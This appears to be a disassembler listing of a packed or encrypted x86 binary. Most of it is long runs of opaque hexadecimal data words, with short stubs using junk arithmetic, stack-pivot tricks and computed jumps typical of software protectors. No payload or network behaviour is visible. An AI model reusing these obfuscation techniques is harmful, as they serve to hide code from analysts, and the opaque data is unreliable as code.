dd 3D60E370h, 0E0D1B8DAh, 0D6972D33h, 5F710DF1h, 0B63ADA34h
dd 0E01DB3DBh, 23D09033h, 0C433396Dh, 0C4E73137h, 0E0D1AA37h
dd 23BEF633h, 9CEF997h, 0EF45DA55h, 0E01DA5B1h, 0E09E5933h
dd 0CD42B033h, 61276A75h, 66A36053h, 0C90988CBh, 20FF76FAh
dd 86DB059h, 0E01DB030h, 0BF4DEF13h, 0E463CCBAh, 0E487F4B2h
dd 0E0D1B02Fh, 3E2BE774h, 1380F9C5h, 1663620Bh, 8E63B53h
dd 0E08EB027h, 84DB46D8h, 7B459A3Fh, 0F2BB6BAFh, 3BB0AD1Eh
dd 0BE48ED15h, 973872B2h, 8146A6DDh, 0E08A3A3Ch, 8016B033h
dd 5BF3EA52h, 0EA494D20h, 8ACCB4BAh, 0E39CE233h, 0C03AB033h
dd 69477369h, 618A9467h, 0F5439477h, 0A2A3B033h, 9AE37361h
dd 0E0E8A1DBh, 0D010E33h, 8EE388B3h, 774C068Ch, 43A8B970h
dd 0EFAEF080h, 94A3B033h, 0E32A38F8h, 0D37ABB07h, 0B2FCECE0h
dd 0EF60CA28h, 1E39FC32h, 8DFB059h, 0E047B030h, 0B960E913h
dd 0E4F5FCBAh, 0E4CCF4B2h, 0E074B024h, 4DF9E172h, 6BD2DC99h
dd 0E0E4E8EDh, 0E0445865h, 0BE83B033h, 9458EEF0h, 0A469B417h
dd 0E06EB417h, 0B67CB033h, 8C8931F0h, 5BADD422h, 0E045BC36h
dd 17760A33h, 0E85A8E87h, 6FE7E284h, 0E074B030h, 86EB3B55h
dd 0EFE1F8B8h, 0E136668Ch, 8A47B033h, 0E34BE633h, 0C0D1B033h
dd 69B6736Dh, 61709447h, 0F43E9477h, 0A61DB033h, 6AEF7365h
dd 0B21721CAh, 66366D89h, 0B0E0BF60h, 0EF363B61h, 0E07B5802h
dd 0CD87B033h, 0E0B2C9DDh, 1378028h, 0E5623F6Bh, 0B8F9EB24h
dd 0B081E869h, 0EFBAE061h, 0E074B0BFh, 0B10BBF33h, 0EF45EA69h
dd 0E0895802h, 64E1B033h, 2B4F6C7Eh, 0E0C15933h, 623FB033h
dd 8A30565Eh, 0D824216h, 0E499DF36h, 0BAD56A7Ah, 0E02D216Bh
dd 0E0A05860h, 0BBF1B033h, 0BC61EBF0h, 0A4F5B417h, 0E023B417h
dd 0B35EB033h, 2E0F9AF0h, 9FB55A9h, 0E0A3B022h, 0D3A9F911h
dd 898A5782h, 9F241C1Fh, 32522830h, 3AA2BFDAh, 8A573C55h
dd 0E3AFE733h, 0C0A3B033h, 698E736Ch, 61EC944Fh, 0FD709477h
dd 0A73AB033h, 4C267364h, 7AF61A82h, 0D1F3C0DCh, 0EFA771C5h
dd 0E0D169B6h, 0A69D633h, 802DC138h, 0E03ABEDBh, 445A0533h
dd 572A1CD3h, 37FCB3E3h, 61905191h, 0E797ADFAh, 6B8EE81Fh
dd 0D9F4D1E9h, 9BFBF5Bh, 91DB033h, 0E08EB03Dh, 6DFFA264h
dd 58769C53h, 1F6536B5h, 99632B67h, 8081D032h, 0E03A373Ch
dd 0EFF5B033h, 0C68EB033h, 3439327Dh, 6A3EA429h, 0D514C13Bh
dd 81B7B1EAh, 0E08B3152h, 0EFBAB033h, 0E01D17B1h, 330FD633h
dd 6848659Eh, 0E0A3B035h, 0D2D143B2h, 652FCDA7h, 0E6390B2Ch
dd 0E03AB032h, 8DB6E88h, 0E0075911h, 0E02DB033h, 0E0A05863h
dd 0B8F1B033h, 0A461E8F0h, 0A4F5B417h, 0E021B417h, 0B05DB033h
dd 654A7DF0h, 29928FF2h, 0EC27BFC9h, 9D1B033h, 0E0E8B034h
dd 0A683DB87h, 61BA71FFh, 5B3AE4E8h, 0E0CC5913h, 5A21B033h
dd 1CFA744Dh, 0EBA83355h, 0D16CBFCCh, 8A74B033h, 0E3D2E133h
dd 0C01DB033h, 69D7736Ah, 6143947Fh, 0F7A79477h, 0A1D1B033h
dd 30407362h, 3AF4C679h, 0FFBF77DAh, 0E11BFD88h, 6A8EB033h
dd 3FCCD6C7h, 0AB78317Bh, 5989F646h, 0D65D155Eh, 215935BEh
dd 5DB7B67Eh, 0E6500F49h, 0E7FA4808h, 2996BF03h, 0B2565B74h
dd 8A8A64B9h, 0E300E333h, 0C074B033h, 69617368h, 6119946Fh
dd 0F78A9477h, 0A347B033h, 13D07360h, 9B1F0BAh, 0E0E8B020h
dd 16E8F84Dh, 42796A7Ch, 0DEE605A6h, 0FCD9E308h, 61B35AF7h
dd 41BF6EC5h, 67DED150h, 0E0E8B03Bh, 0E0763F3Ch, 39B0B033h
dd 0D0F80DB0h, 0EF8FB67Bh, 0E04734B7h, 0B1A3DA33h, 0E0D1B3DBh
dd 23B19033h, 0C438396Ah, 0C47E3137h, 0E01DA437h, 23DFF133h
dd 39F0BF5Ah, 633F73B3h, 0A8E1418Eh, 65E7B035h, 0E074B066h
dd 86AB059h, 0E01DB030h, 0B84DE813h, 0E463F4BAh, 0E487F4B2h
dd 0E0D1B02Ah, 6A2BE073h, 427670B5h, 0ECD3D02Dh, 831DB033h
dd 740171C6h, 765D9E31h, 0EFA8DAF9h, 0E0D1B2B1h, 81163B33h
dd 51B0BCBh, 5DB9C0BEh, 0E655901Eh, 0F70ABF33h, 8647B033h
dd 0A2C473B2h, 0E0AC59C6h, 0E701B033h, 0B974B033h, 987DC925h
dd 5D9E0822h, 0E6C680D6h, 0BBC2BF32h, 61A3B033h, 0AAAAE2E8h
dd 0E082ED66h, 0E0775863h, 0B81AB033h, 0A494E8F0h, 0A40FB417h
dd 0E052B417h, 0B0E3B033h, 86BAABF0h, 612B60B8h, 8658E9F9h
dd 0E00B5900h, 0E077B033h, 0E08D5865h, 0BE67B033h, 942AEEF0h
dd 0A450B417h, 0E0FFB417h, 0B632B033h, 78B9F0F0h, 3796D6DBh
dd 705942B2h, 531AA01Dh, 21197F83h, 6DC20724h, 0AD53E58Eh
dd 1AF93D35h, 583CFDF3h, 9B27EC2Eh, 0EB033500h, 2F6CB67Bh
dd 5E5959F2h, 0BED65D15h, 7E215935h, 495DB7B6h, 8E6500Fh
dd 3E7FA48h, 832996BFh, 0A4F305E9h, 0BB1FBD83h, 7400064Dh
dd 808D8D0Dh, 0B806484Eh, 1, 0F40E1FFh, 18Dh, 0DC8AFC00h
dd 6A2DE883h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 71AFC357h, 3BE85EC2h, 0E1EB8155h
dd 8B76C923h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0BEDC77F8h, 0D3B358E5h, 1299BD83h
dd 75000648h, 35BD8309h, 6480Dh, 53501974h, 0FCB8C08Bh
dd 89000003h, 482FF985h, 0CB9D8D06h, 0FF064AA4h, 83585BD3h
dd 480D35BDh, 17740006h, 0FCB85350h, 89000003h, 482FF985h
dd 6C9D8D06h, 0FF064AA1h, 6A585BD3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 489BC356h
dd 30EB0133h, 6695BCE9h, 0B78AC4BAh, 56006A5Eh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 603A6639h
dd 0F880Fh, 0AE90000h, 0BC000000h, 23956881h, 1547D3Ah
dd 3E0BB886h, 8B61301Eh, 24EBC0h, 8 dup(0)
dd 0E9000000h, 0BDh, 0C23AB589h, 858B064Dh, 64830E5h, 22D858Bh
dd 0B58D0648h, 64DC284h, 47B4858Dh, 0D0FF064Bh, 0E855C3h
dd 5D000000h, 0C28AED81h, 0BD83064Dh, 64830E5h, 2C850F01h
dd 0FF000000h, 4DC23AB5h, 2D858B06h, 35064802h, 34812736h
dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h
dd 6A000000h, 3EB58D1Ch, 56064DC2h, 0C23AB5FFh, 858B064Dh
dd 648022Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 64DC23Eh
dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
dd 1B80000h, 83000000h, 4830E5BDh, 850F0106h, 7, 2E9C35Dh
dd 5D000000h, 63858DCFh, 89064DC2h, 482A8D85h, 98E906h
dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
dd 57690000h, 61E9670Fh, 6800000Bh, 64DC563h, 0FABA9CE9h
dd 0C64A68FFh, 92E9064Dh, 68FFFABAh, 64DC719h, 0FABA88E9h
dd 0C79B68FFh, 7EE9064Dh, 68FFFABAh, 64DC900h, 0FABA74E9h
dd 0C96968FFh, 6AE9064Dh, 68FFFABAh, 64DCC96h, 0FABA60E9h
dd 0CD8468FFh, 56E9064Dh, 9BFFFABAh, 2965071Ah, 0B6E28E8Bh
dd 3A563211h, 0C9C5A7BAh, 274C2C2Dh, 0F7CA764Eh, 7A67F995h
dd 0E0E7821Eh, 686F1480h, 6A445B08h, 7C71F72Eh, 806324BAh
dd 8043740Bh, 0DC721872h, 0C3B0B73Ch, 8628FFB4h, 0ED74EE4Ch
dd 7E3F4C45h, 690784F1h, 0D583132Dh, 169D7Dh, 94156265h
dd 0B787F04h, 2F8FED6Ah, 3ACC6014h, 48397F2Fh, 0F8877624h
dd 6B92EC7Bh, 7F7C6C5Ah, 0B1F34330h, 987C6C39h, 12AE712Eh
dd 0A539918Ch, 0DBA9157Eh, 31A4h, 7EB9FF00h, 647549DCh
dd 0B07C6C40h, 6C2886F7h, 0E77C6C3Fh, 9F8A1CB0h, 0EEC68537h
dd 0DBA90335h, 0DCEFh, 91CDC600h, 0A5A44036h, 573495D0h
dd 0FE85E4FFh, 72FE8AFBh, 7D51E87Fh, 7624333Bh, 0B8C8C969h
dd 32D395E9h, 86E17624h, 7602B119h, 445DE5CDh, 0B8C97637h
dd 2C4C4BE8h, 24376DB2h, 0D3D65D76h, 5B5EE5B1h, 0B359622Ah
dd 60C34A24h, 0EC677C6Ch, 223ECEFAh, 4725A2D4h, 169D4C77h
dd 84056213h, 9B5BBD11h, 3AA982B7h, 0B7560522h, 1D88095Dh
dd 2E8B0D86h, 495B77A9h, 6EC880DEh, 6B147626h, 0D6AB57C3h
dd 5F52DECAh, 0A1A630E0h, 0E9991612h, 901h, 20405FE6h
dd 0A9CBCE74h, 1D7F6AFDh, 80E0E181h, 0B696814h, 37B38BE8h
dd 0A43A5632h, 22CFDBB9h, 0D2514D2Fh, 871EB5D7h, 71F77137h
dd 3EE97F7Ch, 98F8F985h, 60670Ch, 0D5901891h, 49DF2BA4h
dd 0C56DD047h, 30860706h, 0DC7EB997h, 961EB249h, 3212066Fh
dd 0A021979Fh, 403D4C0Ah, 8EE97C6Ch, 402361F1h, 0BC2E7C6Ch
dd 322D9CFh, 0ADF8DBA9h, 23000000h, 8AFBFE85h, 0E7F72FEh
dd 24376FB0h, 0DDD85B76h, 4540E3BFh, 0BD5F5834h, 7BF9932Ah
dd 0CA60017Eh, 6C60818Ch, 0BEDAA57Ch, 0B027E5DEh, 0B700E9DEh
dd 9F367182h, 1F6C650Dh, 6560029Eh, 563F9714h, 8C852DBFh
dd 0CBCE6A26h, 0CF61F8A9h, 38702E23h, 847626BFh, 3BC753FBh
dd 0E5D2CFD2h, 610671F2h, 0A5009796h, 7BC243C0h, 12A0EF9Bh
dd 1A44F2ADh, 0CF000008h, 5D492B26h, 0DAB6D2D7h, 6E3A4645h
dd 0FDA9CBC6h, 0F3107071h, 1B1E9AA2h, 8E9B2D79h, 340BB6E2h
dd 0BCBB3854h, 1E7007DCh, 7C71F85Ah, 8547C066h, 0C98F8F9h
dd 63006067h, 8AFBFE85h, 127E75FEh, 4CDB81BAh, 71F66372h
dd 5DC8B77Ch, 472520C3h, 71F65F89h, 0A163517Ch, 82228BC3h
dd 2A8413B9h, 82BA0563h, 3F23CE62h, 983EBFB2h, 0E37D9F18h
dd 9F2F662h, 0ADBF112Ah, 144ECBAAh, 62E3E68Dh, 11C72E5h
dd 0C51039E0h, 23BACDBAh, 0A9E00D4Bh, 0B9A43B0Bh, 0DED9ABC8h
dd 0F19BA478h, 60DACF66h, 6018767Ah, 6C0BA94Fh, 0BC227603h
dd 664E0CA2h, 0B211F58Eh, 25CE62F5h, 0AD56422Eh, 483938C5h
dd 9913AA2Bh, 9F7ED53Eh, 74B72E0h, 159C0000h, 80227E1Ah
dd 14ABE785h, 0B73F6B09h, 26C2DEBAh, 55224123h, 0A0C0C16Dh
dd 157752F4h, 9FFDFC79h, 7656003h, 2365394Ch, 0B17C71FAh
dd 7EB9742Fh, 1BB249DCh, 24330543h, 0C120D376h, 0CE3FF7C9h
dd 2CAA0081h, 7C72BF99h, 19B3224Dh, 0EEFB8D9Bh, 0E2931091h
dd 0D1682D85h, 2CBCA93Fh, 6E2A8087h, 0F2A3C1C4h, 0ADDAC95Eh
dd 8AA66CCh, 872C7C0Dh, 93100D93h, 56D8D62Ch, 8F3FF00Ch
dd 6C9h, 0F898971Eh, 610306ACh, 0D5B79235h, 583839B9h
dd 0C3A1A04Ch, 4FEBD3A0h, 0EC722E4Ah, 7A0793F1h, 0EA890567h
dd 0BFD68DEFh, 71F9A9EFh, 0F691377Ch, 9FB40B80h, 28C098C0h
dd 4B112A82h, 0CCF382DCh, 58277C72h, 0B5B033CDh, 1BB987D7h
dd 0DF99F58Ch, 0ED7C7146h, 15692C82h, 7C71465Fh, 0ED7D0A75h
dd 7C7146A8h, 5C4837A3h, 0DBAC06A7h, 5E7Dh, 0E980A600h
dd 2432D395h, 0F395E176h, 9B189916h, 0A75D5B33h, 331E5E30h
dd 0CDAA7624h, 0ADEBC35Ah, 0DB762432h, 4A2B5845h, 88E6713Eh
dd 762432D0h, 0BC3B931Ch, 2432662Eh, 8A71ED76h, 0B6F2CC63h
dd 0E7762432h, 2432D197h, 0E0901F76h, 649F2F87h, 0BEDDE112h
dd 7, 1DC67E5h, 0D9FC0000h, 0A7655E76h, 17E09930h, 0AD1B5DCDh
dd 0B03134BEh, 5E581AC7h, 0D57D796Bh, 6C60B687h, 2E80177Ch
dd 7C6C436Ah, 11A10976h, 0F2DC8A96h, 932C16F2h, 0D67C7DF9h
dd 89F3D06h, 86F7D274h, 2DC451F9h, 3A2CFE74h, 62C8E7F8h
dd 4F0CD974h, 2CB62D26h, 0DE1B487Ah, 27B92CADh, 0EDE88A9Ch
dd 389E1F9Ch, 20EAD5BBh, 6BFBD9B5h, 0F7AC2C1Ah, 0B203F4F5h
dd 839E213Eh, 9E34B5F2h, 6E029512h, 0F3A2CEC5h, 0AADBC659h
dd 0EB565CDh, 8924B40Bh, 9D1268C2h, 564EDh, 0E5FC8500h
dd 6C690B87h, 100F900Ch, 859C2470h, 0A0FABE7h, 546C456Eh
dd 0DFCBA9A8h, 603C5C49h, 0EAA6C2C5h, 0B52E4A49h, 0FC0C4C22h
dd 6D87C71h, 0FBFE859Dh, 53F9C28Ah, 3333EAC4h, 0DBB77C6Ch
dd 4C2D5A5Fh, 892358CFh, 0EF68AF89h, 0BDCACF6Bh, 0CBD77FFCh
dd 0A4BB46DAh, 9000D6D7h, 35A91413h, 30C5B3Dh, 4FB1E8Ch
dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h
dd 7335891Ch, 417C71FBh, 0EC8024FFh, 70314E41h, 0BEB53EDAh
dd 3530B3C1h, 99780EA2h, 0E6BBBB7Dh, 879E69Bh, 0E6A2FC6Bh
dd 0F276252Eh, 89E1DB5h, 8023C9B6h, 0AC57E785h, 76DDE1EEh
dd 40h, 0DC7EB9ADh, 4E247549h, 37707C6Ch, 4CACE846h, 0F0A77C6Ch
dd 0A2D3D65Ch, 8C736DC5h, 2025CF61h, 0E0FC5253h, 0DBA9143Bh
dd 49E1h, 9A31C800h, 6C4884C4h, 757507Ch, 7C6C4941h, 394AE08Fh
dd 904C0B80h, 0B2B53268h, 0D577401Ch, 64A86C42h, 733C7C6Dh
dd 0AFAA48E4h, 0DF5213CDh, 0FD867C6Ch, 640E9AE6h, 0F5FF661h
dd 7C6CE049h, 3542E897h, 42085h, 7EB90200h, 10B749DCh
dd 8F274435h, 5C31A806h, 0F2BD7C6Ch, 494CF785h, 818CA5DEh
dd 0EBFCD9A8h, 4D3D3443h, 2ABD4F9Eh, 89214E3Fh, 0D5400A35h
dd 0B4F700F9h, 0B5304C82h, 0E48ECAA4h, 5D5A7624h, 41CEAFDCh
dd 0C9CC7723h, 21EBD4B8h, 0F029D8B6h, 0DAA57C6Ch, 0F3A82AADh
dd 0ED8F8A29h, 7DE8B28Dh, 118AE304h, 852DCF9Bh, 1683BE10h
dd 204F82B5h, 0CA84453h, 4EF5A50Dh, 0DF9B3A4Bh, 11BB8460h
dd 20F92886h, 8AF57C6Dh, 8325B7EEh, 9DEAEF95h, 81EE9F1Ch
dd 0DCCA6929h, 42235057h, 0CC5952C5h, 61640FC5h, 0E465D014h
dd 6647FD31h, 51F966B0h, 0C1AA5622h, 0F18E832Fh, 19A6E2B0h
dd 57D27C6Dh, 32472050h, 9ADF2899h, 0DCAD2ADCh, 0B2662595h
dd 0CA33231h, 6CEDF6B2h, 1157277Ch, 0DF7C6CEEh, 0B2C7A0D0h
dd 3A4A8E2Eh, 84248ABAh, 0D6410B34h, 0B51C49F8h, 4AE98582h
dd 0DF0899BBh, 68E9AAD7h, 6C1D9A1Bh, 0F4FA8719h, 62C84948h
dd 79360DB6h, 0B9AF1CDEh, 0B749DC7Eh, 9B9E1B0Dh, 0A60C8DEAh
dd 2B629FEFh, 16E7C6Dh, 169E3263h, 0A50D6A1Bh, 3A4B4EF5h
dd 0A2CEC56Eh, 0BC2BF1CAh, 0B52B3BE2h, 0B3C0AF82h, 25266123h
dd 817EE876h, 0E1E67CA7h, 4BA6DDh, 0B9FD0000h, 7549DC7Eh
dd 7C6C4064h, 0CB8DE1B0h, 197C6C3Fh, 3F723688h, 317E7C6Ch
dd 0F44233B0h, 7C6C3FB0h, 285958E4h, 0A8D9D858h
dd 3FC781DDh, 6A157C6Ch, 0AF904F0Bh, 0D5A6D1Eh, 0BD5EDF41h
dd 0B16A5A01h, 6BDBA959h, 0ECh, 0FBFE85B0h, 8277376Ch
dd 2EAE9EBDh, 1D99EB88h, 1360650Fh, 667D0692h, 9AEB6809h
dd 0F76E650Eh, 1C4A0E60h, 0E9967625h, 0DD663241h, 0B98C7B32h
dd 1A9B5C49h, 731FE07Eh, 0F5AE7624h, 120A20EEh, 9C7CD266h
dd 617C0317h, 0E0FF8010h, 14951293h, 0E08A0881h, 292597AEh
dd 0EB5E181h, 29127A0Bh, 0C35DF463h, 12B42421h, 91394637h
dd 6CD47AC3h, 0A3C1AE7Ch, 0DFD25EF2h, 9569C1AEh, 0DE75E0AAh
dd 7AFA242h, 0B734D649h, 2951282h, 58CFC26Eh, 492639C4h
dd 0AAE68228h, 7411D0Eh, 3576272Ch, 0BBF88988h, 9E21AEC9h
dd 12A0EC06h, 0CEDF4FC0h, 13000001h, 0A1FD9F92h, 2E7A0603h
dd 0B2EE8A99h, 415D3F32h, 0BFC4A4A5h, 4F42EED6h, 0F2EF712Dh
dd 787FFA96h, 0E0E78C18h, 0E2BCD380h, 7C71FEA6h, 85FBAC32h
dd 0C98F8F9h, 63006067h, 4C5BEC80h, 6F2D16E6h, 0DBDE64F8h
dd 0BDCCA273h, 697C6C3Fh, 0A3E1710Eh, 0AE7C6C3Fh, 0A2594F3Ch
dd 78DBA903h, 0D3h, 0FBFE85A3h, 7F72FE8Ah, 4CE0770Eh, 0DEDFACBBh
dd 2432C880h, 0C36B1476h, 24374A95h, 0EDF57E76h, 0D1D45F45h
dd 3542C3A0h, 0F995F774h, 0CFDA6C7Ah, 370F1BEh, 7A463F74h
dd 49197772h, 68320DE1h, 0FFCF66FDh, 7624B0B9h, 84D27807h
dd 7C6CE0B9h, 791382EDh, 0E18EFFFAh, 66513949h, 89360BB7h
dd 2570401Eh, 0E0BC82B7h, 73304140h, 29C963F2h, 7C138228h
dd 344544E0h, 0B733DF77h, 3EBAD6B2h, 0F4F6843Bh, 4FC012A0h
dd 0E0DFh, 61600100h, 0E8ED9703h, 9C8B1C88h, 100A0FCh
dd 0B68B3763h, 0D0E8C9EAh, 5B375554h, 0ECB8D8C5h, 76224E41h
dd 39AAF6CDh, 0FF90C8A6h, 8A5C7C71h, 0F8F98519h, 60670C98h
dd 69FF9100h, 3254146Ah, 7607624h, 85973086h, 0FE8AFBFEh
dd 0BA127E75h, 2A2DC881h, 0E5643AADh, 947C71F6h, 0E97B66F8h
dd 70314E4Bh, 0A0D1DEDAh, 0C15453D0h, 268C992Fh, 0F2710B9Ah
dd 0C4455CE4h, 201A26Eh, 8DD8E575h, 0C5B5DDB4h, 5251D206h
dd 34C85F36h, 0B9C6B792h, 338DAFE9h, 0DF613DDDh, 0BF3045C2h
dd 69E5F5DCh, 20C34FE7h, 48415425h, 0DEE20CAh, 9B77DFF5h
dd 0EE69061Bh, 475BC2B7h, 0F52BD99h, 0A27635A7h, 2A660201h
dd 1A079989h, 0C5990C6Dh, 0DD337783h, 0D8A95651h, 82Ah
dd 0EC80A900h, 0EFE74F5Ah, 0E5FC8524h, 787F0494h, 0FDFC790Bh
dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h
dd 0CCC96B39h, 8956B9BFh, 4C681E6h, 83000000h, 348704EEh
dd 14895C24h, 3F426824h, 0C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push edi
mov edi, 5A3863FCh
or edi, 73C05FC1h
not edi
shl edi, 2
add edi, 0FFFFFFFFh
not edi
xor edi, 0E9AC3BE6h
mov ecx, edi
pop edi
push 375Bh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push eax
mov eax, 8
add eax, esi
push ecx
pop dword ptr [eax]
pop eax
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
db 0D2h, 0F2h, 0CFh
dd 936EA5D4h, 0D5379631h, 0ACE29311h, 4DCE89B8h, 0FFC50306h
dd 780713E0h, 44B62466h, 0E998BD7Eh, 0DD78747h, 6FABC51Bh
dd 0E3A3CB27h, 0F48D8D25h, 89064DCFh, 4814058Dh, 79BD8B06h
dd 0C7064831h, 48302585h, 6FF406h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D985C76Bh
dd 6482Ah, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0AC09C352h, 1221B5FFh, 6A0648h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0BABA30C3h, 952B85B6h, 6481BCDh, 0E7195FFh, 8F0F0648h
dd 6, 14F18509h, 6A0648h, 92D95FFh, 0C08B0648h, 9323AEBh
dd 32FC3777h, 2D276873h, 1BEE5FE0h, 263751D6h, 0DBE55331h
dd 74E24B7Dh, 0A5B9AC83h, 47231031h, 0DE0512F2h, 0F0D45C5Fh
dd 0BE91E4D5h, 5B193840h, 71036680h, 609B8ACEh, 7E8h, 9F34A700h
dd 0E76BC44Bh, 0E49858Bh, 0E95E0648h, 14h, 7040A76h, 0B157CEB4h
dd 0F3EA3DE3h, 1DD919D6h, 63A9E86Ch, 5B28C681h, 0A8BB0000h
dd 89000016h, 482035BDh, 89168B06h, 480C89BDh, 23F28106h
dd 0E91A3645h, 14h, 0FDC6D9A0h, 4658729Ah, 0E20C1C1Fh
dd 0FEC4705Fh, 2E477F74h, 9654C281h, 0E4B8081Fh, 81449693h
dd 0FCEA5FEAh, 0CB8B665Ch, 858B1689h, 64831B1h, 0F903EE83h
dd 0C18B664Eh, 0AE850F4Bh, 0B5FFFFFFh, 0ABE9EAh, 8D500000h
dd 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h
dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h
dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh
dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh
dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh
dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh
dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h
dd 323D94E7h, 35DD2B83h, 1287E907h, 86680000h, 0E9064DD3h
dd 0FFFAACF1h, 4DD4A268h, 0ACE7E906h, 6968FFFAh, 0E9064DD5h
dd 0FFFAACDDh, 4DD6E868h, 0ACD3E906h, 7268FFFAh, 0E9064DD7h
dd 0FFFAACC9h, 4DD82868h, 0ACBFE906h, 0F768FFFAh, 0E9064DD8h
dd 0FFFAACB5h, 4DD99F68h, 0ACABE906h, 4168FFFAh, 0E9064DDAh
dd 0FFFAACA1h, 4DDBA068h, 0AC97E906h, 7B68FFFAh, 0E9064DDCh
dd 0FFFAAC8Dh, 4DDDDC68h, 0AC83E906h, 3A68FFFAh, 0E9064DDFh
dd 0FFFAAC79h, 4DE0E768h, 0AC6FE906h, 0C368FFFAh, 0E9064DE1h
dd 0FFFAAC65h, 7414EB8Ah, 0FD9F9A18h, 61031EA1h, 0D4B48D35h
dd 5F3D3CB8h, 0DB675F34h, 58EEBAC6h, 0F6732F4Dh, 7E0591F3h
dd 334A197Bh, 72051D5Bh, 8015AB7Ch, 0D441A00Bh, 0A8383FA8h
dd 2A50D0Ch, 4DE8FE85h, 0C56F3D4Ah, 75F2B3C0h, 32CC8CE2h
dd 9F187624h, 9013611Eh, 9CA7F795h, 324346EDh, 475AE775h
dd 0CE7F4FC6h, 1A7C6C45h, 0CA760A9Dh, 51F986F7h, 44D09422h
dd 0CF7B7C6Ch, 0CF3410h, 0C55CDBA9h, 6C4CAFE9h, 0DC723D7Ch
dd 5070h, 0ECC25900h, 7C6C4CACh, 53156938h, 617C6C4Ch
dd 96319906h, 49DC7EB9h, 6C406475h, 86F7B07Ch, 6C3F6C28h
dd 0B46BE77Ch, 522FD769h, 8F273AC6h, 0A90304FFh, 6C0097DBh
dd 0F1BECFDAh, 6C33E7A1h, 0F98AF57Ch, 0BB3BCEFDh, 0B9A50D3Bh
dd 0DBh, 40EC80E2h, 0DB733041h, 0C0B1B43Fh, 443534B0h
dd 1D888F34h, 50F6E083h, 0E687F475h, 0D2512350h, 40DCB5D7h
dd 908B4A2h, 0E9B42288h, 0D8762436h, 49782BA3h, 30861A46h
dd 51C4C360h, 0B0A4E4BAh, 83307624h, 0F7525026h, 0E248C97Dh
dd 2A29CAC6h, 10B64A5Dh, 0F6C19D35h, 60EDC154h, 617C6C76h
dd 0AD8C728h, 98199675h, 4AFB7AEFh, 0C9ABD4E4h, 0A134D6E1h
dd 0C46A670Fh, 9A26BA51h, 2189F687h, 0B77355B3h, 51C4A382h
dd 523E33BFh, 18A7BA46h, 12A1B71Dh, 0E4C6742Bh, 300000Fh
dd 910D6F62h, 1E8A1613h, 0A2FE9A89h, 316D0F02h, 0CFD4B4B5h
dd 5F52DEE6h, 0C2DF613Dh, 484FEAA6h, 0F0F77C28h, 0D2ACC390h
dd 7C720596h, 850B9C22h, 0C98F8F9h, 5BF56067h, 0CBA8D9C4h
dd 0B9BC4763h, 7549DC7Eh, 7C6C4064h, 3D7703B0h, 230BA1BDh
dd 433031B1h, 6D4A522h, 7C6CBF3Eh, 0BCCDC86Ah, 22B447ECh
dd 0BB2C5607h, 0C14E3FBCh, 74995E0Dh, 0F82305FAh, 22DBA9D3h
dd 0D8h, 0FBFE8579h, 7F72FE8Ah, 0ABE0770Eh, 0BE942860h
dd 18500E83h, 0A4762447h, 186573DBh, 0AC76244Bh, 34600007h
dd 641D888Fh, 6655C91Fh, 0A3D0662Ah, 0C8A63DD4h, 76249F90h
dd 4503535Ch, 937624A0h, 0D5EEBE14h, 0A00B4D21h, 0DED97624h
dd 65E8C651h, 817C6CC9h, 710B9AE6h, 0A683F4F5h, 83ACD2AAh
dd 0FDC6963Ch, 8C34C85Fh, 7053C4B5h, 258B8454h, 9F76DC5Dh
dd 0B745D8CFh, 0B44BE582h, 73DBD8A9h, 13AD3847h, 8E039297h
dd 0BE772541h, 18A80E15h, 5EE1E08Ch, 12A16EBDh, 0C89604FBh
dd 2700000Eh, 0B5E1839Eh, 326E0A0Fh, 0C6D2BEADh, 5541233Eh
dd 0ABC8A8A9h, 7376F2CAh, 0E6E38511h, 6C630E9Ah, 1413900Ch
dd 0F6C8DF74h, 7C7206B2h, 85FFA83Eh, 0C98F8F9h, 63006067h
dd 8AFBFE85h, 127E75FEh, 73E2E186h, 0F85E5BD9h, 0FB0AA9FBh
dd 7076FE42h, 50086697h, 9C762433h, 77159213h, 7408D547h
dd 815DF5CCh, 2D8114B6h, 7C6C4260h, 8819FB84h, 0E34B4EF4h
dd 0F672B0F5h, 0C1A8E173h, 7BD3F798h, 0D6E1BD15h, 44CDA134h
dd 0E06E2E56h, 4D7B3D91h, 0AA96DAEh, 43317E0Fh, 86D6A724h
